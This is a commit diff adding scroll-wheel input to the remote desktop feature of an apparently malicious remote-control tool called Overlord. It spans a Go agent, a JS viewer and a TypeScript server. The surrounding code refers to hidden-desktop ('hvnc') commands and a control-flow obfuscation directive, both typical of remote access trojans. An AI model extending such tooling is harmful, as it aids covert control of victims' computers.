add scroll wheel support to remote desktop

Overlord-Client/cmd/agent/handlers/command.go

@@ -888,6 +888,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
 		sendMouseUp(btn)
 		sendCommandResultAsync(env, cmdID)
 		return nil
+	case "desktop_mouse_wheel":
+		if !env.MouseControl {
+			sendCommandResultAsync(env, cmdID)
+			return nil
+		}
+		payload := payloadAsMap(envelope["payload"])
+		delta, _ := payloadInt32(payload, "delta")
+		if x, okX := payloadInt32(payload, "x"); okX {
+			if y, okY := payloadInt32(payload, "y"); okY {
+				absX, absY := resolveDesktopPoint(env.SelectedDisplay, x, y)
+				setCursorPos(absX, absY)
+			}
+		}
+		sendMouseWheel(delta)
+		sendCommandResultAsync(env, cmdID)
+		return nil
 	case "desktop_key_down":
 		if !env.KeyboardControl {
 			sendCommandResultAsync(env, cmdID)

Overlord-Client/cmd/agent/handlers/dispatcher.go

@@ -44,7 +44,7 @@ func (d *Dispatcher) Dispatch(ctx context.Context, envelope map[string]interface
 	case "command":
 		cmdType, _ := envelope["commandType"].(string)
 		switch cmdType {
-		case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up",
+		case "desktop_mouse_move", "desktop_mouse_down", "desktop_mouse_up", "desktop_mouse_wheel",
 			"desktop_key_down", "desktop_key_up", "desktop_text",
 			"hvnc_mouse_move", "hvnc_mouse_down", "hvnc_mouse_up",
 			"hvnc_mouse_wheel", "hvnc_key_down", "hvnc_key_up":

Overlord-Client/cmd/agent/handlers/input_windows.go

@@ -23,6 +23,7 @@ const (
 	MOUSEEVENTF_RIGHTUP     = 0x0010
 	MOUSEEVENTF_MIDDLEDOWN  = 0x0020
 	MOUSEEVENTF_MIDDLEUP    = 0x0040
+	MOUSEEVENTF_WHEEL       = 0x0800
 	MOUSEEVENTF_ABSOLUTE    = 0x8000
 	MOUSEEVENTF_VIRTUALDESK = 0x4000
 
@@ -97,6 +98,10 @@ func sendMouseUp(button int) {
 	}
 }
 
+func sendMouseWheel(delta int32) {
+	sendMouseInput(MOUSEEVENTF_WHEEL, uint32(delta))
+}
+
 func sendMouseInput(flags uint32, mouseData uint32) {
 	//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
 	var inp input

Overlord-Server/public/assets/remotedesktop.js

@@ -1318,6 +1318,14 @@ import { checkFeatureAccess } from "./feature-gate.js";
   canvas.addEventListener("contextmenu", function (e) {
     e.preventDefault();
   });
+  canvas.addEventListener("wheel", function (e) {
+    if (!mouseCtrl.checked) return;
+    const pt = getCanvasPoint(e);
+    if (!pt) return;
+    const delta = Math.max(-120, Math.min(120, Math.round(-e.deltaY)));
+    sendCmd("mouse_wheel", { delta, x: pt.x, y: pt.y });
+    e.preventDefault();
+  }, { passive: false });
 
   canvas.setAttribute("tabindex", "0");
   canvas.addEventListener("click", function () {

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -497,6 +497,13 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
       sendDesktopCommandWithId(target, "desktop_mouse_up", { button: Number(payload.button) || 0 }, commandId);
       break;
     }
+    case "mouse_wheel": {
+      if (!state.isStreaming) break;
+      const commandId = uuidv4();
+      recordRdInput(commandId, clientId, "mouse_wheel");
+      sendDesktopCommandWithId(target, "desktop_mouse_wheel", { delta: Number(payload.delta) || 0, x: Number((payload as any).x) || 0, y: Number((payload as any).y) || 0 }, commandId);
+      break;
+    }
     case "key_down": {
       if (!state.isStreaming) break;
       const commandId = uuidv4();